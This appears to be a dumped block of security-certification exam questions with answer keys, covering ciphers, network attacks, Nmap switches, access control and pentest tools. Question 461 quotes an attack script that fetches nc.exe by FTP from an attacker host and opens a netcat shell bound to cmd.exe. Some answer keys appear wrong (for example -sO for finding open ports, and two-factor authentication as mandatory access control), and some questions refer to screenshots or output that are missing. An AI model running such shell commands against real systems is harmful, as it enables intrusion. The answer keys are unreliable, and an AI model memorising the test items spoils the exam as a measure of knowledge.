Which cipher encrypts the plain text digit (bit or byte) one by one?
A. Classical cipher
B. Block cipher
C. Modern cipher
D. Stream cipher
Correct Answer: D



:
QUESTION 415
203

WPA2 uses AES for wireless data encryption at which of the following encryption levels?
A. 64 bit and CCMP
B. 128 bit and CRC
C. 128 bit and CCMP
D. 128 bit and TKIP
Correct Answer: C



:
QUESTION 416
Which of the following network attacks relies on sending an abnormally large packet size that exceeds
TCP/IP specifications?
A. Ping of death
B. SYN flooding
C. TCP hijacking
D. Smurf attack
Correct Answer: A



:
QUESTION 417
Which of the following viruses tries to hide from anti-virus programs by actively altering and corrupting the
chosen service call interruptions when they are being run?
A. Cavity virus
B. Polymorphic virus
C. Tunneling virus
D. Stealth virus
Correct Answer: D



:
QUESTION 418
204

The Open Web Application Security Project (OWASP) testing methodology addresses the need to secure
web applications by providing which one of the following services?
A. An extensible security framework named COBIT
B. A list of flaws and how to fix them
C. Web application patches
D. A security certification for hardened web applications
Correct Answer: B



:
QUESTION 419
Which of the following techniques does a vulnerability scanner use in order to detect a vulnerability on a
target service?
A. Port scanning
B. Banner grabbing
C. Injecting arbitrary data
D. Analyzing service response
Correct Answer: D



:
QUESTION 420
Which of the following is a preventive control?
A. Smart card authentication
B. Security policy
C. Audit trail
D. Continuity of operations plan
Correct Answer: A



:
QUESTION 421
205

Which of the following describes the characteristics of a Boot Sector Virus?
A. Moves the MBR to another location on the RAM and copies itself to the original location of the MBR
B. Moves the MBR to another location on the hard disk and copies itself to the original location of the MBR
C. Modifies directory table entries so that directory entries point to the virus code instead of the actual
program
D. Overwrites the original MBR and only executes the new virus code
Correct Answer: B



:
QUESTION 422
Which of the following tools would be the best choice for achieving compliance with PCI Requirement 11?
A. Truecrypt
B. Sub7
C. Nessus
D. Clamwin
Correct Answer: C



:
QUESTION 423
The precaution of prohibiting employees from bringing personal computing devices into a facility is what
type of security control?
A. Physical
B. Procedural
C. Technical
D. Compliance
Correct Answer: B



:
206

QUESTION 424
A botnet can be managed through which of the following?
A. IRC
B. E-Mail
C. Linkedin and Facebook
D. A vulnerable FTP server
Correct Answer: A



:
QUESTION 425
Which of the following is a strong post designed to stop a car?
A. Gate
B. Fence
C. Bollard
D. Reinforced rebar
Correct Answer: C



:
QUESTION 426
What are common signs that a system has been compromised or hacked? (Choose three.)
A. Increased amount of failed logon events
B. Patterns in time gaps in system and/or event logs
C. New user accounts created
D. Consistency in usage baselines
E. Partitions are encrypted
F. Server hard drives become fragmented
Correct Answer: ABC



:
207

QUESTION 427
A recently hired network security associate at a local bank was given the responsibility to perform daily
scans of the internal network to look for unauthorized devices. The employee decides to write a script that
will scan the network for unauthorized devices every morning at 5:00 am.
Which of the following programming languages would most likely be used?
A. PHP
B. C#
C. Python
D. ASP.NET
Correct Answer: C



:
QUESTION 428
While performing data validation of web content, a security technician is required to restrict malicious input.
Which of the following processes is an efficient way of restricting malicious input?
A. Validate web content input for query strings.
B. Validate web content input with scanning tools.
C. Validate web content input for type, length, and range.
D. Validate web content input for extraneous queries.
Correct Answer: C



:
QUESTION 429
A technician is resolving an issue where a computer is unable to connect to the Internet using a wireless
access point. The computer is able to transfer files locally to other machines, but cannot successfully reach
the Internet. When the technician examines the IP address and default gateway they are both on the
192.168.1.0/24. Which of the following has occurred?
A. The gateway is not routing to a public IP address.
B. The computer is using an invalid IP address.
C. The gateway and the computer are not on the same network.
D. The computer is not using a private IP address.
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Correct Answer: A



:
QUESTION 430
A Network Administrator was recently promoted to Chief Security Officer at a local university. One of
employee's new responsibilities is to manage the implementation of an RFID card access system to a new
server room on campus. The server room will house student enrollment information that is securely backed
up to an off-site location.
During a meeting with an outside consultant, the Chief Security Officer explains that he is concerned that
the existing security controls have not been designed properly. Currently, the Network Administrator is
responsible for approving and issuing RFID card access to the server room, as well as reviewing the
electronic access logs on a weekly basis.
Which of the following is an issue with the situation?
A. Segregation of duties
B. Undue influence
C. Lack of experience
D. Inadequate disaster recovery plan
Correct Answer: A



:
QUESTION 431
In the OSI model, where does PPTP encryption take place?
A. Transport layer
B. Application layer
C. Data link layer
D. Network layer
Correct Answer: C



:
209

QUESTION 432
What is the main advantage that a network-based IDS/IPS system has over a host-based solution?
A. They do not use host system resources.
B. They are placed at the boundary, allowing them to inspect all traffic.
C. They are easier to install and configure.
D. They will not interfere with user interfaces.
Correct Answer: A



:
QUESTION 433
An NMAP scan of a server shows port 25 is open. What risk could this pose?
A. Open printer sharing
B. Web portal data leak
C. Clear text authentication
D. Active mail relay
Correct Answer: D



:
QUESTION 434
Which of the following are variants of mandatory access control mechanisms? (Choose two.)
A. Two factor authentication
B. Acceptable use policy
C. Username / password
D. User education program
E. Sign in register
Correct Answer: AC



:
210

QUESTION 435
An attacker uses a communication channel within an operating system that is neither designed nor intended
to transfer information. What is the name of the communications channel?
A. Classified
B. Overt
C. Encrypted
D. Covert
Correct Answer: D



:
QUESTION 436
Which of the following is used to indicate a single-line comment in structured query language (SQL)?
A. --
B. ||
C. %%
D. ''
Correct Answer: A



:
QUESTION 437
What is the primary drawback to using advanced encryption standard (AES) algorithm with a 256 bit key to
share sensitive data?
A. Due to the key size, the time it will take to encrypt and decrypt the message hinders efficient
communication.
B. To get messaging programs to function with this algorithm requires complex configurations.
C. It has been proven to be a weak cipher; therefore, should not be trusted to protect sensitive data.
D. It is a symmetric key algorithm, meaning each recipient must receive the key through a different channel
than the message.
Correct Answer: D



211

:
QUESTION 438
Pentest results indicate that voice over IP traffic is traversing a network. Which of the following tools will
decode a packet capture and extract the voice conversations?
A. Cain
B. John the Ripper
C. Nikto
D. Hping
Correct Answer: A



:
QUESTION 439
Information gathered from social networking websites such as Facebook, Twitter and LinkedIn can be used
to launch which of the following types of attacks? (Choose two.)
A. Smurf attack
B. Social engineering attack
C. SQL injection attack
D. Phishing attack
E. Fraggle attack
F. Distributed denial of service attack
Correct Answer: BD



:
QUESTION 440
Which of the following examples best represents a logical or technical control?
A. Security tokens
B. Heating and air conditioning
C. Smoke and fire alarms
D. Corporate security policy
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Correct Answer: A



:
QUESTION 441
Which of the following resources does NMAP need to be used as a basic vulnerability scanner covering
several vectors like SMB, HTTP and FTP?
A. Metasploit scripting engine
B. Nessus scripting engine
C. NMAP scripting engine
D. SAINT scripting engine
Correct Answer: C



:
QUESTION 442
A penetration tester is hired to do a risk assessment of a company's DMZ. The rules of engagement states
that the penetration test be done from an external IP address with no prior knowledge of the internal IT
systems. What kind of test is being performed?
A. white box
B. grey box
C. red box
D. black box
Correct Answer: D



:
QUESTION 443
How can a policy help improve an employee's security awareness?
A. By implementing written security procedures, enabling employee security training, and promoting the
benefits of security
B. By using informal networks of communication, establishing secret passing procedures, and immediately
terminating employees
213

C. By sharing security secrets with employees, enabling employees to share secrets, and establishing a
consultative help line
D. By decreasing an employee's vacation time, addressing ad-hoc employment clauses, and ensuring that
managers know employee strengths
Correct Answer: A



:
QUESTION 444
Which statement is TRUE regarding network firewalls preventing Web Application attacks?
A. Network firewalls can prevent attacks because they can detect malicious HTTP traffic.
B. Network firewalls cannot prevent attacks because ports 80 and 443 must be opened.
C. Network firewalls can prevent attacks if they are properly configured.
D. Network firewalls cannot prevent attacks because they are too complex to configure.
Correct Answer: B



:
QUESTION 445
An organization hires a tester to do a wireless penetration test. Previous reports indicate that the last test
did not contain management or control packets in the submitted traces. Which of the following is the most
likely reason for lack of management or control packets?
A. The wireless card was not turned on.
B. The wrong network card drivers were in use by Wireshark.
C. On Linux and Mac OS X, only 802.11 headers are received in promiscuous mode.
D. Certain operating systems and adapters do not collect the management or control packets.
Correct Answer: D



:
QUESTION 446
Which of the following techniques will identify if computer files have been changed?
214

A. Network sniffing
B. Permission sets
C. Integrity checking hashes
D. Firewall alerts
Correct Answer: C



:
QUESTION 447
Which of the following does proper basic configuration of snort as a network intrusion detection system
require?
A. Limit the packets captured to the snort configuration file.
B. Capture every packet on the network segment.
C. Limit the packets captured to a single segment.
D. Limit the packets captured to the /var/log/snort directory.
Correct Answer: A



:
QUESTION 448
When analyzing the IDS logs, the system administrator notices connections from outside of the LAN have
been sending packets where the Source IP address and Destination IP address are the same. There have
been no alerts sent via email or logged in the IDS. Which type of an alert is this?
A. False positive
B. False negative
C. True positive
D. True negative
Correct Answer: B



:
QUESTION 449
Which of the following descriptions is true about a static NAT?
215

A. A static NAT uses a many-to-many mapping.
B. A static NAT uses a one-to-many mapping.
C. A static NAT uses a many-to-one mapping.
D. A static NAT uses a one-to-one mapping.
Correct Answer: D



:
QUESTION 450
Which United States legislation mandates that the Chief Executive Officer (CEO) and the Chief Financial
Officer (CFO) must sign statements verifying the completeness and accuracy of financial reports?
A. Sarbanes-Oxley Act (SOX)
B. Gramm-Leach-Bliley Act (GLBA)
C. Fair and Accurate Credit Transactions Act (FACTA)
D. Federal Information Security Management Act (FISMA)
Correct Answer: A



:
QUESTION 451
Which of the following is a component of a risk assessment?
A. Physical security
B. Administrative safeguards
C. DMZ
D. Logical interface
Correct Answer: B



:
QUESTION 452
What information should an IT system analysis provide to the risk assessor?
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A. Management buy-in
B. Threat statement
C. Security architecture
D. Impact analysis
Correct Answer: C



:
QUESTION 453
Which security strategy requires using several, varying methods to protect IT systems against attacks?
A. Defense in depth
B. Three-way handshake
C. Covert channels
D. Exponential backoff algorithm
Correct Answer: A



:
QUESTION 454
An IT security engineer notices that the company's web server is currently being hacked. What should the
engineer do next?
A. Unplug the network connection on the company's web server.
B. Determine the origin of the attack and launch a counterattack.
C. Record as much information as possible from the attack.
D. Perform a system restart on the company's web server.
Correct Answer: C



:
QUESTION 455
During a penetration test, a tester finds a target that is running MS SQL 2000 with default credentials. The
tester assumes that the service is running with Local System account. How can this weakness be exploited
to access the system?
217

A. Using the Metasploit psexec module setting the SA / Admin credential
B. Invoking the stored procedure xp_shell to spawn a Windows command shell
C. Invoking the stored procedure cmd_shell to spawn a Windows command shell
D. Invoking the stored procedure xp_cmdshell to spawn a Windows command shell
Correct Answer: D



:
QUESTION 456
Which of the following programming languages is most vulnerable to buffer overflow attacks?
A. Perl
B. C++
C. Python
D. Java
Correct Answer: B



:
QUESTION 457
Which property ensures that a hash function will not produce the same hashed value for two different
messages?
A. Collision resistance
B. Bit length
C. Key strength
D. Entropy
Correct Answer: A



:
QUESTION 458
From the two screenshots below, which of the following is occurring?
A. 10.0.0.253 is performing an IP scan against 10.0.0.0/24, 10.0.0.252 is performing a port scan "Pass Any
Exam. Any Time." - www.actualtests.com 218

against 10.0.0.2.
B. 10.0.0.253 is performing an IP scan against 10.0.0.2, 10.0.0.252 is performing a port scan against
10.0.0.2.
C. 10.0.0.2 is performing an IP scan against 10.0.0.0/24, 10.0.0.252 is performing a port scan against
10.0.0.2.
D. 10.0.0.252 is performing an IP scan against 10.0.0.2, 10.0.0.252 is performing a port scan against
10.0.0.2.
Correct Answer: A



:
QUESTION 459
Which of the following can the administrator do to verify that a tape backup can be recovered in its entirety?
A. Restore a random file.
B. Perform a full restore.
C. Read the first 512 bytes of the tape.
D. Read the last 512 bytes of the tape.
Correct Answer: B



:
QUESTION 460
An NMAP scan of a server shows port 69 is open. What risk could this pose?
A. Unauthenticated access
B. Weak SSL version
C. Cleartext login
D. Web portal data leak
Correct Answer: A



:
QUESTION 461
A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows
219

NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On further
research, the tester come across a perl script that runs the following msadc functions:system("perl msadc.
pl -h $host -C \"echo open $your >testfile\""); system("perl msadc.pl -h $host -C \"echo $user>>testfile\"");
system("perl msadc.pl -h $host -C \"echo $pass>>testfile\""); system("perl msadc.pl -h $host -C \"echo
bin>>testfile\""); system("perl msadc.pl -h $host -C \"echo get nc.exe>>testfile\""); system("perl msadc.pl -h
$host -C \"echo get hacked.html>>testfile\""); ("perl msadc.pl -h $host -C \"echo quit>>testfile\""); system
("perl msadc.pl -h $host -C \"ftp \-s\:testfile\""); $o=; print "Opening ...\n"; system("perl msadc.pl -h $host -C
\"nc -l -p $port -e cmd.exe\"");
Which exploit is indicated by this script?
A. A buffer overflow exploit
B. A chained exploit
C. A SQL injection exploit
D. A denial of service exploit
Correct Answer: B



:
QUESTION 462
When setting up a wireless network, an administrator enters a pre-shared key for security. Which of the
following is true?
A. The key entered is a symmetric key used to encrypt the wireless data.
B. The key entered is a hash that is used to prove the integrity of the wireless data.
C. The key entered is based on the Diffie-Hellman method.
D. The key is an RSA key used to encrypt the wireless data.
Correct Answer: A



:
QUESTION 463
Which of the following defines the role of a root Certificate Authority (CA) in a Public Key Infrastructure
(PKI)?
A. The root CA is the recovery agent used to encrypt data when a user's certificate is lost.
B. The root CA stores the user's hash value for safekeeping.
220

C. The CA is the trusted root that issues certificates.
D. The root CA is used to encrypt email messages to prevent unintended disclosure of data.
Correct Answer: C



:
QUESTION 464
Firewalk has just completed the second phase (the scanning phase) and a technician receives the output
shown below. What conclusions can be drawn based on these scan results? TCP port 21 no response
TCP port 22 no response TCP port 23 Time-to-live exceeded
A. The firewall itself is blocking ports 21 through 23 and a service is listening on port 23 of the target host.
B. The lack of response from ports 21 and 22 indicate that those services are not running on the
destination server.
C. The scan on port 23 passed through the filtering device. This indicates that port 23 was not blocked at
the firewall.
D. The scan on port 23 was able to make a connection to the destination host prompting the firewall to
respond with a TTL error.
Correct Answer: C



:
QUESTION 465
A security engineer has been asked to deploy a secure remote access solution that will allow employees to
connect to the company's internal network. Which of the following can be implemented to minimize the
opportunity for the man-in-the-middle attack to occur?
A. SSL
B. Mutual authentication
C. IPSec
D. Static IP addresses
Correct Answer: C



:
221

QUESTION 466
What results will the following command yielD. 'NMAP -sS -O -p 123-153 192.168.100.3'?
A. A stealth scan, opening port 123 and 153
B. A stealth scan, checking open ports 123 to 153
C. A stealth scan, checking all open ports excluding ports 123 to 153
D. A stealth scan, determine operating system, and scanning ports 123 to 153
Correct Answer: D



:
QUESTION 467
Which of the following network attacks takes advantage of weaknesses in the fragment reassembly
functionality of the TCP/IP protocol stack?
A. Teardrop
B. SYN flood
C. Smurf attack
D. Ping of death
Correct Answer: A



:
QUESTION 468
Which of the following are advantages of adopting a Single Sign On (SSO) system? (Choose two.)
A. A reduction in password fatigue for users because they do not need to know multiple passwords when
accessing multiple applications
B. A reduction in network and application monitoring since all recording will be completed at the SSO
system
C. A reduction in system administration overhead since any user login problems can be resolved at the
SSO system
D. A reduction in overall risk to the system since network and application attacks can only happen at the
SSO point
Correct Answer: AC



:
222

QUESTION 469
An ethical hacker for a large security research firm performs penetration tests, vulnerability tests, and risk
assessments. A friend recently started a company and asks the hacker to perform a penetration test and
vulnerability assessment of the new company as a favor. What should the hacker's next step be before
starting work on this job?
A. Start by foot printing the network and mapping out a plan of attack.
B. Ask the employer for authorization to perform the work outside the company.
C. Begin the reconnaissance phase with passive information gathering and then move into active
information gathering.
D. Use social engineering techniques on the friend's employees to help identify areas that may be
susceptible to attack.
Correct Answer: B



:
QUESTION 470
A large company intends to use Blackberry for corporate mobile phones and a security analyst is assigned
to evaluate the possible threats. The analyst will use the Blackjacking attack method to demonstrate how
an attacker could circumvent perimeter defenses and gain access to the corporate network. What tool
should the analyst use to perform a Blackjacking attack?
A. Paros Proxy
B. BBProxy
C. BBCrack
D. Blooover
Correct Answer: B



:
QUESTION 471
ICMP ping and ping sweeps are used to check for active systems and to check
A. if ICMP ping traverses a firewall.
223

B. the route that the ICMP ping took.
C. the location of the switchport in relation to the ICMP ping.
D. the number of hops an ICMP ping takes to reach a destination.
Correct Answer: A



:
QUESTION 472
A hacker searches in Google for filetype:pcf to find Cisco VPN config files. Those files may contain
connectivity passwords that can be decoded with which of the following?
A. Cupp
B. Nessus
C. Cain and Abel
D. John The Ripper Pro
Correct Answer: C



:
QUESTION 473
Which technical characteristic do Ethereal/Wireshark, TCPDump, and Snort have in common?
A. They are written in Java.
B. They send alerts to security monitors.
C. They use the same packet analysis engine.
D. They use the same packet capture utility.
Correct Answer: D



:
QUESTION 474
A pentester gains acess to a Windows application server and needs to determine the settings of the built-in
Windows firewall. Which command would be used?
A. Netsh firewall show config
224

B. WMIC firewall show config
C. Net firewall show config
D. Ipconfig firewall show config
Correct Answer: A



:
QUESTION 475
The following is a sample of output from a penetration tester's machine targeting a machine with the IP
address of 192.168.1.106:
What is most likely taking place?
A. Ping sweep of the 192.168.1.106 network
B. Remote service brute force attempt
C. Port scan of 192.168.1.106
D. Denial of service attack on 192.168.1.106
Correct Answer: B



:
QUESTION 476
A tester is attempting to capture and analyze the traffic on a given network and realizes that the network
has several switches. What could be used to successfully sniff the traffic on this switched network?
(Choose three.)
A. ARP spoofing
B. MAC duplication
C. MAC flooding
D. SYN flood
225

E. Reverse smurf attack
F. ARP broadcasting
Correct Answer: ABC



:
QUESTION 477
A newly discovered flaw in a software application would be considered which kind of security vulnerability?
A. Input validation flaw
B. HTTP header injection vulnerability
C. 0-day vulnerability
D. Time-to-check to time-to-use flaw
Correct Answer: C



:
QUESTION 478
What are the three types of authentication?
A. Something you: know, remember, prove
B. Something you: have, know, are
C. Something you: show, prove, are
D. Something you: show, have, prove
Correct Answer: B



:
QUESTION 479
What are the three types of compliance that the Open Source Security Testing Methodology Manual
(OSSTMM) recognizes?
A. Legal, performance, audit
B. Audit, standards based, regulatory
226

C. Contractual, regulatory, industry
D. Legislative, contractual, standards based
Correct Answer: D



:
QUESTION 480
While checking the settings on the internet browser, a technician finds that the proxy server settings have
been checked and a computer is trying to use itself as a proxy server. What specific octet within the subnet
does the technician see?
A. 10.10.10.10
B. 127.0.0.1
C. 192.168.1.1
D. 192.168.168.168
Correct Answer: B



:
QUESTION 481
Which of the following business challenges could be solved by using a vulnerability scanner?
A. Auditors want to discover if all systems are following a standard naming convention.
B. A web server was compromised and management needs to know if any further systems were
compromised.
C. There is an emergency need to remove administrator access from multiple machines for an employee
that quit.
D. There is a monthly requirement to test corporate compliance with host application usage and security
policies.
Correct Answer: D



:
QUESTION 482
Which of the following is a hardware requirement that either an IDS/IPS system or a proxy server must
have in order to properly function?
227

A. Fast processor to help with network traffic analysis
B. They must be dual-homed
C. Similar RAM requirements
D. Fast network interface cards
Correct Answer: B



:
QUESTION 483
If an e-commerce site was put into a live environment and the programmers failed to remove the secret
entry point that was used during the application development, what is this secret entry point known as?
A. SDLC process
B. Honey pot
C. SQL injection
D. Trap door
Correct Answer: D



:
QUESTION 484
A Certificate Authority (CA) generates a key pair that will be used for encryption and decryption of email.
The integrity of the encrypted email is dependent on the security of which of the following?
A. Public key
B. Private key
C. Modulus length
D. Email server certificate
Correct Answer: B



:
QUESTION 485
Which system consists of a publicly available set of databases that contain domain name registration
contact information?
228

A. WHOIS
B. IANA
C. CAPTCHA
D. IETF
Correct Answer: A



:
QUESTION 486
A tester has been hired to do a web application security test. The tester notices that the site is dynamic and
must make use of a back end database.
In order for the tester to see if SQL injection is possible, what is the first character that the tester should use
to attempt breaking a valid SQL request?
A. Semicolon
B. Single quote
C. Exclamation mark
D. Double quote
Correct Answer: B



:
QUESTION 487
Which set of access control solutions implements two-factor authentication?
A. USB token and PIN
B. Fingerprint scanner and retina scanner
C. Password and PIN
D. Account and password
Correct Answer: A



:
QUESTION 488
What is the name of the international standard that establishes a baseline level of confidence in
229

the security functionality of IT products by providing a set of requirements for evaluation?
A. Blue Book
B. ISO 26029
C. Common Criteria
D. The Wassenaar Agreement
Correct Answer: C



:
QUESTION 489
Advanced encryption standard is an algorithm used for which of the following?
A. Data integrity
B. Key discovery
C. Bulk data encryption
D. Key recovery
Correct Answer: C



:
QUESTION 490
Which statement best describes a server type under an N-tier architecture?
A. A group of servers at a specific layer
B. A single server with a specific role
C. A group of servers with a unique role
D. A single server at a specific layer
Correct Answer: C



:
QUESTION 491
During a penetration test, a tester finds that the web application being analyzed is vulnerable to Cross Site
Scripting (XSS). Which of the following conditions must be met to exploit this
230

vulnerability?
A. The web application does not have the secure flag set.
B. The session cookies do not have the HttpOnly flag set.
C. The victim user should not have an endpoint security solution.
D. The victim's browser must have ActiveX technology enabled.
Correct Answer: B



:
QUESTION 492
Which protocol and port number might be needed in order to send log messages to a log analysis tool that
resides behind a firewall?
A. UDP 123
B. UDP 541
C. UDP 514
D. UDP 415
Correct Answer: C



:
QUESTION 493
A certified ethical hacker (CEH) is approached by a friend who believes her husband is cheating. She offers
to pay to break into her husband's email account in order to find proof so she can take him to court. What is
the ethical response?
A. Say no; the friend is not the owner of the account.
B. Say yes; the friend needs help to gather evidence.
C. Say yes; do the job for free.
D. Say no; make sure that the friend knows the risk she's asking the CEH to take.
Correct Answer: A



:
QUESTION 494
231

A hacker is attempting to see which ports have been left open on a network. Which NMAP switch would the
hacker use?
A. -sO
B. -sP
C. -sS
D. -sU
Correct Answer: A



:
QUESTION 495
The network administrator for a company is setting up a website with e-commerce capabilities. Packet
sniffing is a concern because credit card information will be sent electronically over the Internet. Customers
visiting the site will need to encrypt the data with HTTPS. Which type of certificate is used to encrypt and
decrypt the data?
A. Asymmetric
B. Confidential
C. Symmetric
D. Non-confidential
Correct Answer: A



:
QUESTION 496
Which security control role does encryption meet?
A. Preventative
B. Detective
C. Offensive
D. Defensive
Correct Answer: A



:
232

QUESTION 497
A consultant is hired to do physical penetration testing at a large financial company. In the first day of his
assessment, the consultant goes to the company`s building dressed like an electrician and waits in the
lobby for an employee to pass through the main access gate, then the consultant follows the employee
behind to get into the restricted area. Which type of attack did the consultant perform?
A. Man trap
B. Tailgating
C. Shoulder surfing
D. Social engineering
Correct Answer: B



:
QUESTION 498
A pentester is using Metasploit to exploit an FTP server and pivot to a LAN. How will the pentester pivot
using Metasploit?
A. Issue the pivot exploit and set the meterpreter.
B. Reconfigure the network settings in the meterpreter.
C. Set the payload to propagate through the meterpreter.
D. Create a route statement in the meterpreter.
Correct Answer: D



:
QUESTION 499
A company has hired a security administrator to maintain and administer Linux and Windows- based
systems. Written in the nightly report file is the followinG.
Firewall log files are at the expected value of 4 MB. The current time is 12am. Exactly two hours later the
size has decreased considerably. Another hour goes by and the log files have shrunk in size again.
Which of the following actions should the security administrator take?
233

A. Log the event as suspicious activity and report this behavior to the incident response team immediately.
B. Log the event as suspicious activity, call a manager, and report this as soon as possible.
C. Run an anti-virus scan because it is likely the system is infected by malware.
D. Log the event as suspicious activity, continue to investigate, and act according to the site's security
policy.
Correct Answer: D



:
QUESTION 500
A hacker is attempting to see which IP addresses are currently active on a network. Which NMAP switch
would the hacker use?
A. -sO
B. -sP
C. -sS
D. -sU
Correct Answer: B



:
QUESTION 501
At a Windows Server command prompt, which command could be used to list the running services?
A. Sc query type= running
B. Sc query \\servername
C. Sc query
D. Sc config
Correct Answer: C

QUESTION 502
Which of the following is optimized for confidential communications, such as bidirectional voice and video?
A. RC4
B. RC5
C. MD4
D. MD5
Correct Answer: A

QUESTION 503
The use of alert thresholding in an IDS can reduce the volume of repeated alerts, but introduces which of
the following vulnerabilities?
A. An attacker, working slowly enough, can evade detection by the IDS.
B. Network packets are dropped if the volume exceeds the threshold.
C. Thresholding interferes with the IDS' ability to reassemble fragmented packets.
D. The IDS will not distinguish among packets originating from different sources.
Correct Answer: A

QUESTION 504
Which of the following is considered an acceptable option when managing a risk?
A. Reject the risk.
B. Deny the risk.
C. Mitigate the risk.
D. Initiate the risk.
Correct Answer: C

QUESTION 505
A person approaches a network administrator and wants advice on how to send encrypted email from
home. The end user does not want to have to pay for any license fees or manage server services. Which of
the following is the most secure encryption protocol that the network administrator should recommend?
A. IP Security (IPSEC)
B. Multipurpose Internet Mail Extensions (MIME)
C. Pretty Good Privacy (PGP)
D. Hyper Text Transfer Protocol with Secure Socket Layer (HTTPS)
Correct Answer: C